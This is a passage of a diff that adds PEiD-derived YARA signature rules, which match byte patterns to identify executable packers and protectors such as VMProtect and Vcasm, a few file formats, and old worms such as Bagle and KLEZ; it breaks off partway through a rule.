+rule PEiD_02479_Utah_RLE_Graphics_format_
+{
+    meta:
+        description = "[Utah RLE Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 CC 00 00 00 00 ?? ?? ?? ?? 09 ?? 08 ?? 08}
+    condition:
+        $a
+}
+
+rule PEiD_02480_v_02Packer____tt_t_
+{
+    meta:
+        description = "[v.02Packer -> tt.t]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 36 FE FF FF C3 90 ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02481_VBOX_v4_2_MTE_
+{
+    meta:
+        description = "[VBOX v4.2 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02482_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4 8B C4}
+    condition:
+        $a
+}
+
+rule PEiD_02483_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+    condition:
+        $a
+}
+
+rule PEiD_02484_VBOX_v4_3___v4_6_
+{
+    meta:
+        description = "[VBOX v4.3 - v4.6]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+    condition:
+        $a
+}
+
+rule PEiD_02485_VBOX_v4_3_MTE_
+{
+    meta:
+        description = "[VBOX v4.3 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02486_VcAsm_Protector____VcAsm_
+{
+    meta:
+        description = "[VcAsm Protector -> VcAsm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02487_VcAsm_Protector_V1_0X____VcAsm_
+{
+    meta:
+        description = "[VcAsm Protector V1.0X -> VcAsm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02488_Vcasm_Protector_V1_X____vcasm_
+{
+    meta:
+        description = "[Vcasm Protector V1.X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02489_Vcasm_Protector_1_0_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02490_Vcasm_Protector_1_0_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02491_Vcasm_Protector_1_0a___1_0d____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0a - 1.0d -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02492_Vcasm_Protector_1_0e____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.0e -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02493_Vcasm_Protector_1_1___1_2____vcasm_
+{
+    meta:
+        description = "[Vcasm-Protector 1.1 - 1.2 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02494_vfp_exeNc_V5_00____Wang_JianGuo_
+{
+    meta:
+        description = "[vfp&exeNc V5.00 -> Wang JianGuo]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02495_vfp_exeNc_v6_00____Wang_JianGuo_
+{
+    meta:
+        description = "[vfp&exeNc v6.00 -> Wang JianGuo]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02496_Video_CD_file_
+{
+    meta:
+        description = "[Video-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 58 41 66 6D 74}
+    condition:
+        $a
+}
+rule PEiD_02497_Video_Lan_Client_____UnknownCompiler__
+{
+    meta:
+        description = "[Video-Lan-Client -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02498_Video_Lan_Client_
+{
+    meta:
+        description = "[Video-Lan-Client]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02499_Virogen_Crypt_v0_75_
+{
+    meta:
+        description = "[Virogen Crypt v0.75]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02500_Virogen_s_PE_Shrinker_v0_14_
+{
+    meta:
+        description = "[Virogen`s PE Shrinker v0.14]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02501_VIRUS___I_Worm_Bagle_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Bagle]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_02502_VIRUS___I_Worm_Bagle_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Bagle]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 00 E8 B1 00 00 00 EB F4 CC FF 25 A4 40 40 00 FF 25 B8 40 40 00 FF 25 B4 40 40 00 FF 25 B0 40 40 00 FF 25 AC 40 40 00 FF 25 9C 40 40 00 FF 25 A0 40 40 00 FF 25 A8 40 40 00 FF 25 24 40 40 00 FF 25 28 40 40 00 FF 25 2C 40 40 00 FF 25 30 40 40 00 FF 25 34 40 40 00 FF 25 38 40 40 00 FF 25 3C 40 40 00 FF 25 40 40 40 00 FF 25 44 40 40 00 FF 25 48 40 40 00 FF 25 4C 40 40 00 FF 25 50 40 40 00 FF 25 54 40 40 00 FF 25 58 40 40 00 FF 25 5C 40 40 00 FF 25 60 40 40 00 FF 25 BC 40 40 00 FF 25 64 40 40 00 FF 25 68 40 40}
+    condition:
+        $a
+}
+
+rule PEiD_02503_VIRUS___I_Worm_Hybris_
+{
+    meta:
+        description = "[VIRUS - I-Worm.Hybris]"
+        ep_only = "false"
+    strings:
+        $a = {EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02504_VIRUS___I_Worm_KLEZ_
+{
+    meta:
+        description = "[VIRUS - I-Worm.KLEZ]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+    condition:
+        $a
+}
+
+rule PEiD_02505_VisualUPX_0_2____emadicius_
+{
+    meta:
+        description = "[VisualUPX 0.2 -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {66 C7 05 ?? ?? ?? 00 75 07 E9 ?? FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02506_VMProtect_0_7x___0_8____PolyTech_
+{
+    meta:
+        description = "[VMProtect 0.7x - 0.8 -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+    condition:
+        $a
+}
+rule PEiD_02507_VMProtect_0_x____PolyTech_
+{
+    meta:
+        description = "[VMProtect 0.x -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {5B 20 56 4D 50 72 6F 74 65 63 74 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02508_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02509_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02510_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02511_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02512_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02513_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02514_VMProtect_v1_25_____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 --> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02515_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02516_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02517_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02518_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02519_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02520_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02521_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02522_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02523_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02524_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02525_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02526_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02527_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02528_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02529_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02530_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02531_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02532_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02533_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02534_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02535_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02536_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02537_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02538_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02539_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02540_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02541_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02542_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02543_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02544_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02545_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02546_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02547_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02548_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02549_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02550_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02551_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02552_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02553_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02554_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02555_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02556_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
